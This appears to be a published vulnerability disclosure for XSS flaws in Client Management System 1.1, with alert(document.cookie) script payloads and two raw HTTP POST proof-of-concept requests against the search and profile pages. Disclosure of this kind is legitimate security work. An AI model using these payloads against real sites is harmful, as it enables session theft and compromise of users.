Client Management System 1.1 – ‘cname’ Stored Cross-site scripting (XSS)
# Exploit Title: Client Management System 1.1 - 'cname' Stored Cross-site scripting (XSS) # Date: 2021-08-04 # Exploit Author: Mohammad Koochaki # Vendor Homepage: https://phpgurukul.com/client-management-system-using-php-mysql/ # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10841 # Version: 1.1 # Tested on: Ubuntu 20.04.2 LTS, PHP 7.4.3 ### This application is prone to a cross-site scripting in the 'searchdata' parameter at the following path: - Reflected: http://localhost/admin/search-invoices.php - Reflected: http://localhost/client/search-invoices.php - Stored: http://localhost/client/client-profile.php ### Payloads: - Reflected: </h4><script>alert(document.cookie)</script> - Stored: "><script>alert(document.cookie)</script>Anuj+Kumar ### PoC: ## Reflected: POST /admin/search-invoices.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 77 Origin: http://localhost Connection: close Referer: http://localhost/admin/search-invoices.php Cookie: PHPSESSID=o5thu5n92ac58evl71eou90krs Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 searchdata=</h4><script>alert(document.cookie)</script>&search= ## Stored: POST /client/client-profile.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 335 Origin: http://localhost Connection: close Referer: http://localhost/client/client-profile.php Cookie: PHPSESSID=o5thu5n92ac58evl71eou90krs Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 cname="><script>alert(document.cookie)</script>Anuj+Kumar&comname=PHPGurukul+Programming+Blog&address=New+Delhi&city=New+Delhi&state=Delhi&zcode=110001&wphnumber=9354778033&cellphnumber=9354778033&ophnumber=9354778033&email=phpgurukulofficial% 40gmail.com&websiteadd=https%3A%2F%2Fphpgurukul.com¬es=New+User&submit= |